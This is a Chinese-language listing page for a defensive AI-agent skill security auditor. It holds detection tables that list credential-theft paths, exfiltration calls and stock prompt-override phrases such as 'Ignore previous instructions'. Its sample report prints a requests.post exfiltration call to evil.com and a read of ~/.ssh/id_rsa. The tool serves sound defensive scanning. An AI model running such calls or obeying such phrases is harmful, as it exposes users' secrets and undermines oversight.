mcpField
S
skill-security-auditor

skill-security-auditor

github.com/alirezarezvani安全28.9k792 次安装2 天前更新
代码仓库

关于 skill-security-auditor

用于安装前检查 AI Agent 技能安全风险的审计工具,适合技能维护者和负责审核安装的团队。它静态扫描代码、提示注入、依赖项及文件结构,并给出 PASS、WARN 或 FAIL 结果和修复建议。

主要功能

  1. 01扫描脚本中的代码执行风险
  2. 02检测技能文档中的提示注入
  3. 03检查依赖漏洞与可疑包
  4. 04审查文件系统边界和隐藏文件
  5. 05生成分级结论及修复建议

适用场景

  1. 01安装前审查本地技能目录
  2. 02安装前检查 Git 仓库中的技能
  3. 03在 CI/CD 中阻止风险技能通过

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/alirezarezvani/claude-skills --skill skill-security-auditor

安装后在 Claude Code 中输入/skill-security-auditor确认已加载。

附带文件references/threat-model.mdscripts/skill_security_auditor.py

详细介绍

Skill 安全审计器

在安装前扫描并审计 AI Agent Skill 的安全风险。生成清晰的 PASS / WARN / FAIL 结论,并附带发现的问题与修复指导。

快速开始

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

扫描范围

1. 代码执行风险(Python/Bash 脚本)

扫描所有 .py、.sh、.bash、.js、.ts 文件,检测以下内容:

类别检测模式严重级别
命令注入os.system()、os.popen()、subprocess.call(shell=True)、反引号执行🔴 CRITICAL
代码执行eval()、exec()、compile()、__import__()🔴 CRITICAL
混淆base64 编码的载荷、codecs.decode、十六进制编码字符串、chr() 链🔴 CRITICAL
网络外传requests.post()、urllib.request、socket.connect()、httpx、aiohttp🔴 CRITICAL
凭据窃取读取 ~/.ssh、~/.aws、~/.config,以及环境变量提取模式🔴 CRITICAL
文件系统滥用写入 Skill 目录之外的位置、/etc/、~/.bashrc、~/.profile、创建符号链接🟡 HIGH
权限提升sudo、chmod 777、setuid、cron 篡改🔴 CRITICAL
不安全的反序列化pickle.loads()、yaml.load()(未使用 SafeLoader)、marshal.loads()🟡 HIGH
子进程(安全)使用列表参数且不经过 shell 的 subprocess.run()⚪ INFO
2. SKILL.md 中的提示词注入

扫描 SKILL.md 以及所有 .md 参考文件,检测以下内容:

模式示例严重级别
系统提示词覆盖"Ignore previous instructions"、"You are now..."🔴 CRITICAL
角色劫持"Act as root"、"Pretend you have no restrictions"🔴 CRITICAL
安全绕过"Skip safety checks"、"Disable content filtering"🔴 CRITICAL
隐藏指令零宽字符、带有指令的 HTML 注释🟡 HIGH
权限过度"Run any command"、"Full filesystem access"🟡 HIGH
数据外传"Send contents of"、"Upload file to"、"POST to"🔴 CRITICAL
3. 依赖供应链

针对包含 requirements.txt、package.json 或内联 pip install 的 Skill:

检查项检查内容严重级别
已知漏洞与 PyPI/npm 安全公告数据库交叉比对🔴 CRITICAL
仿冒包名(Typosquatting)标记与热门包名相似的包(例如 reqeusts)🟡 HIGH
未固定版本标记 requests>=2.0 与 requests==2.31.0 的差异⚪ INFO
代码中的安装命令脚本中的 pip install 或 npm install🟡 HIGH
可疑包下载量低、创建时间近、仅有单一维护者⚪ INFO
4. 文件系统与结构
检查项检查内容严重级别
越界访问脚本引用了 Skill 目录之外的路径🟡 HIGH
隐藏文件Skill 中不应存在的 .env 及点文件🟡 HIGH
二进制文件非预期的可执行文件、.so、.dll、.exe🔴 CRITICAL
大文件超过 1MB、可能隐藏载荷的文件⚪ INFO
符号链接指向 Skill 目录之外的符号链接🔴 CRITICAL

审计流程

  1. 对 Skill 目录或仓库 URL 运行扫描器
  2. 查看报告——发现的问题按严重级别分组
  3. 结论解读:
    • ✅ PASS——没有 critical 或 high 级别的发现。可以安全安装。
    • ⚠️ WARN——检测到 high/medium 级别的发现。安装前请人工审查。
    • ❌ FAIL——存在 critical 级别的发现。未修复前请勿安装。
  4. 修复——每项发现都附有具体的修复指导

阅读报告

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) 
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

进阶用法

在克隆前审计 Git 上的 Skill
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD 集成
# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
批量审计
# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

威胁模型参考

有关 AI Agent 技能的完整威胁模型、检测模式和已知攻击向量,请参阅 references/threat-model.md。

局限性

  • 无法确定性地检测逻辑炸弹或延时触发的恶意载荷
  • 混淆检测基于模式匹配,足够狡猾的攻击者可能绕过它
  • 网络目标信誉检查需要互联网访问
  • 不执行代码,仅进行静态分析(安全,但不如动态分析全面)
  • 依赖漏洞检查使用本地模式匹配,而非实时 CVE 数据库

审计后如仍有疑虑,请勿安装。请向技能作者询问以获取澄清。

评论

支持 Markdown